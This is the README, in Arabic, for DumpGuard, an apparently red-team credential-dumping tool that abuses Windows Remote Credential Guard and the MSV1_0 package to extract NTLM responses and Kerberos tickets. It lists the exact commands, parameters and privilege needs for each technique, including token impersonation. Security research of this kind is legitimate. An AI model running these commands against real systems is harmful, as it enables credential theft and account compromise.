DumpGuard

DumpGuard هي أداة لاستخراج بيانات الاعتماد وإجراء أبحاث البروتوكولات لأنظمة Windows الحديثة. تستغل بروتوكول Remote Credential Guard لاستعادة مواد بيانات الاعتماد حتى عند تمكين Credential Guard، وتتضمن أيضًا مسار حزمة المصادقة Microsoft v1 لاستخراج NTLM الموجه للجلسات.

تشمل الوظائف الحالية:

• استجابات NTLMv1
• استجابات NTLMv2
• تذاكر خدمة Kerberos
• تفريغ حزمة المصادقة Microsoft v1 لجلسات تسجيل الدخول المحلية

يمكنك تنزيل النسخ المُجمَّعة مسبقًا من قسم الإصدارات في هذا المستودع.

إخلاء مسؤولية: هذه الأداة مُقدَّمة لأغراض تعليمية واختبارية مشروعة فقط. لا يُقرّ مؤلف هذا المستودع أو يدعم أي نوع من إساءة الاستخدام ولا يتحمل أي مسؤولية عن الأضرار أو العواقب القانونية الناتجة عن استخدام هذه الأداة.

نظرة عامة على الاستخدام

يلخص الجدول التالي التقنيات المنفذة حاليًا.

تستخدم DumpGuard نموذج command بالإضافة إلى target.

• command يختار تقنية الاستخراج.
• target يختار ما إذا كان سيتم العمل على الجلسة الحالية أم تعداد الجلسات.

الأوامر المدعومة:

• /command:ntlmv1
• /command:ntlmv2
• /command:kerbtgs
• /command:msv10

الأهداف المدعومة:

• /target:self
• /target:all

معلمات Remote Credential Guard الشائعة:

• /domain:<DOMAIN>
• /username:<SAMACCOUNTNAME>
• /password:<PASSWORD>
• /spn:<SPN>

معلمات Kerberos TGS:

• /tgsdomain:<DOMAIN>
• /tgsspn:<SPN>

إذا تم حذف /spn لحساب كمبيوتر، فإن DumpGuard تستخدم القيمة الافتراضية HOST/<computername>.

تفريغ جلستك الخاصة عبر Remote Credential Guard

لتفريغ مواد بيانات الاعتماد للمستخدم الحالي من سياق غير مميز، تقوم DumpGuard بالمصادقة إلى حساب مُفعَّل بـ SPN باستخدام Remote Credential Guard، ثم تُصدر طلبات متابعة عبر سياق الأمان المُنشأ.

يعمل هذا بغض النظر عن حالة Credential Guard، ولكنه يتطلب بيانات اعتماد لحساب مُفعَّل بـ SPN.

متطلبات الصلاحية: لا شيء.

NTLMv1:

DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]

NTLMv2:

DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]

Kerberos TGS:

DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>

إذا تم حذف /tgsdomain، فإنه يأخذ القيمة الافتراضية لقيمة /domain في Remote Credential Guard.

تفريغ جميع الجلسات عبر Remote Credential Guard

لتفريغ مواد بيانات الاعتماد لجميع المستخدمين المتاحين حاليًا من سياق مميز، تقوم DumpGuard بانتحال الرموز المميزة من العمليات الجارية، وتصادق إلى حساب مُفعَّل بـ SPN باستخدام Remote Credential Guard، ثم تُصدر طلبات متابعة عبر سياق الأمان المُنشأ.

يعمل هذا بغض النظر عن حالة Credential Guard، ولكنه يتطلب بيانات اعتماد لحساب مُفعَّل بـ SPN.

متطلبات الصلاحية: SYSTEM أو Administrator (يتطلب SeImpersonatePrivilege).

NTLMv1:

DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]

NTLMv2:

DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>]

Kerberos TGS:

DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMAIN> /username:<SAMACCOUNTNAME> /password:<PASSWORD> [/spn:<SPN>] [/tgsdomain:<DOMAIN>] /tgsspn:<service/host>

إذا تم حذف /tgsdomain، فإنه يأخذ القيمة الافتراضية لقيمة /domain في Remote Credential Guard.

تفريغ جميع الجلسات عبر حزمة المصادقة Microsoft v1

لتفريغ استجابات NTLM للمستخدمين المُصادق عليهم حاليًا من سياق SYSTEM مميز، تتفاعل DumpGuard مباشرة مع NTLM SSP وتطلب استجابات التحدي لكل جلسة تسجيل دخول تم اكتشافها.

يعمل هذا فقط في ظل الشروط التالية:

• تعطيل Credential Guard على النظام المحلي.
• مصادقة المستخدمين البعيدين إلى النظام المحلي من مضيف بعيد عبر Remote Credential Guard.

متطلبات الصلاحية: SYSTEM (يتطلب SeTcbPrivilege).

DumpGuard.exe /command:msv10

يمكن أيضًا تنفيذ هذا الهجوم باستخدام LSA Whisperer بالأمر التالي:

lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {session id} --challenge {challenge to clients} [flags...]

معلومات إضافية

لقد قمت بهندسة عكسية وإعادة إنشاء الواجهات التي يعرضها Credential Guard (LsaIso.exe) وأدرجتها في هذا المستودع لمن يهتم بإجراء المزيد من الأبحاث.

اعتبارًا من أكتوبر 2025، تم تنفيذ الواجهات التالية:

• BCryptIum
• CloudApIum
• KerberosIum
• LsaIsoMgmtIum
• NtlmIum
• ProvIum

شكر وتقدير

شكرًا لـ SpecterOps على دعم هذا البحث، ولزملائي في العمل الذين ساعدوا في تطويره.

• Elad Shamir - لإلهام هذه الأداة والبحث، ولتقديم منظور قيّم وتشجيع كلما وصلت إلى طريق مسدود.
• Evan McBroom - لمشاركة رؤى مفيدة حول بنية LSA الداخلية وتوفير مشفرات ASN.1 لمعظم الهياكل المستخدمة في هذا المشروع.

أدوات ذات صلة

• LSA Whisperer (Evan McBroom) - مجموعة أدوات للتفاعل مع حزم المصادقة.
• Rubeus (Will Schroeder, Charlie Clark) - مجموعة أدوات بلغة C# للتفاعل الخام مع Kerberos وإساءة استخدامه.
• Mimikatz (Benjamin Delpy) - أداة صغيرة للعب مع أمان Windows.
• Kekeo (Benjamin Delpy) - صندوق أدوات صغير للعب مع Kerberos من Microsoft بلغة C.

أعمال ذات صلة

• Oliver Lyak (2022) - على حد علمي، البحث العام الوحيد حول تفريغ بيانات الاعتماد المحمية بواسطة Credential Guard.
• James Forshaw (2022, 2022, 2022, 2022) - إرساليات ثغرات تشرح قليلاً بعض الواجهات غير الموثقة التي قمنا بالبحث عنها.